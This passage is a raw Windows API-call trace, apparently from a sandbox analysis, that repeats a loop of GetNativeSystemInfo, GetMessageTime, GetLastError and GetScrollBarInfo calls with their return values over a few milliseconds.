GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.010] GetMessageTime () returned 0 [0029.010] GetLastError () returned 0x578 [0029.010] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.010] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.010] GetMessageTime () returned 0 [0029.010] GetLastError () returned 0x578 [0029.011] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.011] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.011] GetMessageTime () returned 0 [0029.011] GetLastError () returned 0x578 [0029.011] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.011] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.011] GetMessageTime () returned 0 [0029.011] GetLastError () returned 0x578 [0029.011] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.011] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.011] GetMessageTime () returned 0 [0029.011] GetLastError () returned 0x578 [0029.011] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.011] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.011] GetMessageTime () returned 0 [0029.011] GetLastError () returned 0x578 [0029.011] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.011] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.011] GetMessageTime () returned 0 [0029.011] GetLastError () returned 0x578 [0029.011] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.011] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.011] GetMessageTime () returned 0 [0029.012] GetLastError () returned 0x578 [0029.012] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.012] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.012] GetMessageTime () returned 0 [0029.012] GetLastError () returned 0x578 [0029.012] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.012] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.012] GetMessageTime () returned 0 [0029.012] GetLastError () returned 0x578 [0029.012] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.012] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.012] GetMessageTime () returned 0 [0029.012] GetLastError () returned 0x578 [0029.012] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.012] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.012] GetMessageTime () returned 0 [0029.012] GetLastError () returned 0x578 [0029.012] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.012] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.012] GetMessageTime () returned 0 [0029.012] GetLastError () returned 0x578 [0029.012] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.012] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.013] GetMessageTime () returned 0 [0029.013] GetLastError () returned 0x578 [0029.013] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.013] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.013] GetMessageTime () returned 0 [0029.013] GetLastError () returned 0x578 [0029.013] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.013] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.013] GetMessageTime () returned 0 [0029.013] GetLastError () returned 0x578 [0029.013] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.013] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.013] GetMessageTime () returned 0 [0029.013] GetLastError () returned 0x578 [0029.013] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.013] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.013] GetMessageTime () returned 0 [0029.013] GetLastError () returned 0x578 [0029.013] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.013] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.013] GetMessageTime () returned 0 [0029.013] GetLastError () returned 0x578 [0029.013] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.013] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.014] GetMessageTime () returned 0 [0029.014] GetLastError () returned 0x578 [0029.014] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.014] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.014] GetMessageTime () returned 0 [0029.014] GetLastError () returned 0x578 [0029.014] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.014] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.014] GetMessageTime () returned 0 [0029.014] GetLastError () returned 0x578 [0029.014] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.014] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.014] GetMessageTime () returned 0 [0029.014] GetLastError () returned 0x578 [0029.014] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.014] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.014] GetMessageTime () returned 0 [0029.014] GetLastError () returned 0x578 [0029.014] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.014] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.014] GetMessageTime () returned 0 [0029.014] GetLastError () returned 0x578 [0029.014] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.014] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.015] GetMessageTime () returned 0 [0029.015] GetLastError () returned 0x578 [0029.015] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.015] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.015] GetMessageTime () returned 0 [0029.015] GetLastError () returned 0x578 [0029.015] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.015] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.015] GetMessageTime () returned 0 [0029.015] GetLastError () returned 0x578 [0029.015] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.015] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.015] GetMessageTime () returned 0 [0029.015] GetLastError () returned 0x578 [0029.015] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.015] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.015] GetMessageTime () returned 0 [0029.015] GetLastError () returned 0x578 [0029.015] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.015] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.015] GetMessageTime () returned 0 [0029.015] GetLastError () returned 0x578 [0029.015] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.015] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.016] GetMessageTime () returned 0 [0029.016] GetLastError () returned 0x578 [0029.016] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.016] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.016] GetMessageTime () returned 0 [0029.016] GetLastError () returned 0x578 [0029.016] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.016] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.016] GetMessageTime () returned 0 [0029.016] GetLastError () returned 0x578 [0029.016] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.016] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.016] GetMessageTime () returned 0 [0029.016] GetLastError () returned 0x578 [0029.016] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.016] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.016] GetMessageTime () returned 0 [0029.016] GetLastError () returned 0x578 [0029.016] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.016] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.016] GetMessageTime () returned 0 [0029.016] GetLastError () returned 0x578 [0029.016] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.016] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.017] GetMessageTime () returned 0 [0029.017] GetLastError () returned 0x578 [0029.017] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.017] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.017] GetMessageTime () returned 0 [0029.017] GetLastError () returned 0x578 [0029.017] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.017] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.017] GetMessageTime () returned 0 [0029.017] GetLastError () returned 0x578 [0029.017] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.017] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.017] GetMessageTime () returned 0 [0029.017] GetLastError () returned 0x578 [0029.017] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.017] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.017] GetMessageTime () returned 0 [0029.017] GetLastError () returned 0x578 [0029.017] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.017] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.017] GetMessageTime () returned 0 [0029.017] GetLastError () returned 0x578 [0029.017] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.017] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.018] GetMessageTime () returned 0 [0029.018] GetLastError () returned 0x578 [0029.018] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.018] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.018] GetMessageTime () returned 0 [0029.018] GetLastError () returned 0x578 [0029.018] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.018] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, 